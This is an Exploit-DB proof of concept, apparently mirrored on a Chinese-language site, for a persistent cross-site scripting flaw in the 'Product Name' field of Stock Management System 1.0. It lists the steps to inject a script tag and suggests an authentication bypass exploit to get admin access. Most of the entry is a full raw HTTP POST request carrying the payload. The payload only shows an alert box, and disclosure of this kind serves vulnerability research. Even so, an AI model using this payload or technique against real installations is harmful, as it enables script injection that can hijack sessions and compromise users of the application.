Stock Management System 1.0 – ‘Product Name’ Persistent Cross-Site Scripting

  • 作者: Adeeb Shah
    日期: 2020-10-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48924/
  • # Exploit Title: Stock Management System 1.0 - Persistent Cross-Site Scripting (Product Name)
    # Exploit Author: Adeeb Shah (@hyd3sec)
    # Date: August 2, 2020
    # Vendor Homepage: https://www.sourcecodester.com/
    # Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
    # Version: 1.0
    # Tested On: Windows 10 (x64_86) + XAMPP 7.4.4
    
    
    # Vulnerability Details
    # Description A persistent cross-site scripting vulnerability exists within the 'Product Name' parameter in the Edit Product function.
    # This example allows a logged-in user to inject javascript code as a persistent XSS attack which is persistent on any page with the Product Name value expected.
    
    #Steps:
    
    	1. Log in with admin privileges (use credentials or use the Auth Login Bypass exploit)
    
    	2. Click "Product"
    
    	3. Click "Action" in any categories name row
    
    	4. Click Edit, then Product Info (tab)
    
    	5. In "Product Name" field enter XSS <script>alert("XSS")</script>
    
    	6. Click save changes
    
    	7. Any page on the webapp expecting that 'Product Name' will trigger the XSS.
    
    
    
    POST /stock/php_action/editProduct.php HTTP/1.1
    Host: 192.168.222.132
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.222.132/stock/product.php
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------147762840819880874581057152477
    Content-Length: 938
    DNT: 1
    Connection: close
    Cookie: PHPSESSID=1halobmiaq86oi70ogliu0qlh8
    
    
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editProductName"
    
    
    <script>alert("hyd3sec")</script>
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editQuantity"
    
    
    9
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editRate"
    
    
    
    1200
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editBrandName"
    
    
    12
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editCategoryName"
    
    
    
    7
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="editProductStatus"
    
    
    
    1
    -----------------------------147762840819880874581057152477
    Content-Disposition: form-data; name="productId"
    
    
    8
    -----------------------------147762840819880874581057152477--